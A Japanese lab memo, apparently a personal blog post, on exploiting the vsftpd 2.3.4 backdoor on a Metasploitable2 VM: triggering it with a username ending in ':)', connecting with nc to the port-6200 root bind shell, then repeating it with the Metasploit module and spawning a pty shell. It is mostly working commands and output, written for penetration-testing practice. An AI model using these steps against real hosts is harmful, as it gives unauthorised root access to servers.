Metasploitable2のvsftpdをエクスプロイトする備忘録です。
vstpd 2.3.4には、バックドアの脆弱性があます。
ユーザー名の最後に:)を付けて、ログインしようとすると
6200番ポートで、バインドシェルがオープンします。
動作の確認
Kali LinuxからMetasploitable2にftpで接続します。
ユーザー名は何でもいいですが、最後に:)を付けます。
パスワードも何でもいいです。
Kali LinuxのIPアドレス:192.168.56.10
Metasploitable2のサーバーのIPアドレス:192.168.56.20
nc 192.168.56.20 21
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS hoge
となります。
別のターミナルを開いて、6200番に接続します。
nc 192.168.56.20 6200
whoami
root
hostname
metasploitable
Metasploitでエクスプロイトする
Metasploitを起動する。
msfconsole
exploitを検索します。
msf6 exploit(multi/samba/usermap_script) > search vsftpd backdoor
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
0番を使用します。
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
payloadは、要らないようです。オプションを確認します。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
RHOSTSのRequiredがyesで、値がセットされてないので、セットします。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
exploitします。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.20:21 - The port used by the backdoor bind listener is already open
[+] 192.168.56.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.10:46593 -> 192.168.56.20:6200) at 2024-10-05 12:50:48 +0900
whoami
root
hostname
metasploitable
シェルが無いので、対話的シェルの出し方。
python -c 'import pty;pty.spawn("/bin/bash")'
root@metasploitable:/#
プロンプトが表示されます。